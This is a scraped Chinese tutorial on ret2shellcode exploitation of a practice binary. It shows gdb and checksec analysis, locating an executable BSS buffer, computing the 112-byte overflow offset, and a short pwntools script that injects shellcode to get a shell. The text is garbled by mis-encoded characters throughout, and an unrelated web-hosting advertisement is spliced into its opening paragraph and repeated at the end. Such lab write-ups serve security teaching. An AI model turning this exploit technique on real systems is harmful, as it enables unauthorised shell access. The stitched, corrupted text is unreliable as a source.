基礎知識:
目前成都創(chuàng)新互聯公司已為上千多家的企業(yè)提供了網站建設、域名、網頁空間、成都網站托管、企業(yè)網站設計、曲江網站維護等服務,公司將堅持客戶導向、應用為本的策略,正道將秉承"和諧、參與、激情"的文化,與客戶和合作伙伴齊心協力一起成長,共同發(fā)展。ret2shellcode,即控制程序執(zhí)行 shellcode 代碼。shellcode 指的是用于完成某個功能的匯編代碼,常見的功能主要是獲取目標系統(tǒng)的 shell。一般來說,shellcode 需要我們自己填充。這其實是另外一種典型的利用方法,即此時我們需要自己去填充一些可執(zhí)行的代碼。
在棧溢出的基礎上,要想執(zhí)行 shellcode,需要對應的 binary 在運行時,shellcode 所在的區(qū)域具有可執(zhí)行權限。
第一步:分析程序代碼
使用gdb ./ret2shellcode加載程序,在命令行中輸入checksec來查看啟用的保護
可以發(fā)現沒有啟用任何保護
我們使用disass main來看下main函數的匯編代碼
這里對strncpy函數做分析,strncpy的api為:char *strncpy(char *dest,char *src,int size_t);第一個參數是接收的變量,第二個是從那里復制,第三個是復制多少。經過分析第一個參數就是[esp],第二個參數是[esp+0x4],第三個參數是[esp+0x8],這樣我們知道最終要復制的內容要放到[esp]中,而現在[esp]是0x804a080。
經過分析發(fā)現調用了gets函數和strncpy函數,其中gets函數存在溢出漏洞,但是該程序沒有使用system("/bin/sh"),我們可以嘗試讓程序跳轉到我們的shellcode中,也就是說gets函數接收的不再是普通的字符串而是我們構建好的shellcode。
我們看下0x804a080地址在哪里:
第一種方法:使用IDA
第二種方法:在gdb里運行readelf,或者在linux的shell里運行readelf -S xxx查看bss段位置
是一個BSS段,如果可以我們講shellcode放到bss段中,然后將函數的返回值改為0x804a080,現在還缺少一個條件,就是bss段0x804a080是否有執(zhí)行權限,我們斷點調試下:
執(zhí)行b main 進行斷點
執(zhí)行r 運行程序
執(zhí)行vmmap查看是否有執(zhí)行權限
0x804a080的區(qū)間是在標紅的0x0804a000到0x0804b000,有x執(zhí)行權限
第二步:查找程序溢出的偏移量
重新執(zhí)行gdb ./ret2shellcode命令加載程序
執(zhí)行pattern create 200創(chuàng)建字符串
執(zhí)行 r運行
輸入剛才創(chuàng)建的字符串
得到0x41384141地址,我們使用pattern offset 0x41384141來查看偏移
然后可以想到溢出代碼:
from pwn import *
p = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
p.sendline(shellcode.ljust(112,'a') + p32(buf2_addr))
p.interactive()
#####
shellcode.ljust(112,'a')這段代碼就是要講shellcode不足112長度的地方用a來填充。
另外有需要云服務器可以了解下創(chuàng)新互聯scvps.cn,海內外云服務器15元起步,三天無理由+7*72小時售后在線,公司持有idc許可證,提供“云服務器、裸金屬服務器、高防服務器、香港服務器、美國服務器、虛擬主機、免備案服務器”等云主機租用服務以及企業(yè)上云的綜合解決方案,具有“安全穩(wěn)定、簡單易用、服務可用性高、性價比高”等特點與優(yōu)勢,專為企業(yè)上云打造定制,能夠滿足用戶豐富、多元化的應用場景需求。
當前文章:緩沖區(qū)溢出-基本ROP-ret2shellcode-創(chuàng)新互聯
網站鏈接:http://m.rwnh.cn/article12/dddegc.html
成都網站建設公司_創(chuàng)新互聯,為您提供網站營銷、搜索引擎優(yōu)化、外貿網站建設、響應式網站、網站建設、面包屑導航
聲明:本網站發(fā)布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:631063699@qq.com。內容未經允許不得轉載,或轉載時需注明來源: 創(chuàng)新互聯